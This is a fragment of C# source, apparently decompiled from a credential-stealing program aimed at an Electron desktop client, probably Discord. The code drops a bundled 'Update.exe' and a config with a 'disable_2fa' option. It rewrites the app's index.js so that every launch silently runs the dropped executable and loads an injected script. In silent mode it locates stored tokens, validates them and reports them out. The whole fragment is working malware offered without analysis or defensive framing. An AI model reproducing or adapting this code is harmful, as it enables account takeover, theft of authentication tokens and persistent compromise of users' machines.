if (flag)
{
	Directory.CreateDirectory(text4);
	File.WriteAllBytes(Path.Combine(text4, "Update.exe"), Program.GZip(Program.ReadResource("Update")));
	File.WriteAllBytes(Path.Combine(text4, "Newtonsoft.Json.dll"), Program.GZip(Program.ReadResource("Json")));
	File.WriteAllText(Path.Combine(text4, "Config.json"), string.Concat(new string[]
	{
		"{\"id\":\"",
		Config.Id,
		"\",\"disable_2fa\":",
		Config.Disable2fa.ToString().ToLower(),
		",\"versions\":{}}"
	}));
	char c = '"';
	File.WriteAllText(text2 + "/index.js", string.Format("const child_process = require('child_process');\r\nchild_process.execSync(`{0}${{__dirname}}/{1}/Update.exe{2}`);\r\nrequire(__dirname + '/{3}/inject.js');\r\n\r\nmodule.exports = require('./core.asar');", new object[]
	{
		c,
		text3,
		c,
		text3
	}));
	bool silent = Config.Silent;
	if (silent)
	{
		foreach (string token in TokenDiscovery.CheckTokens(TokenDiscovery.FindTokens(path)))
		{
			TokenDiscovery.ReportToken(token);
		}
	}
	else
	{
		Program.Restart(path, text);
	}
}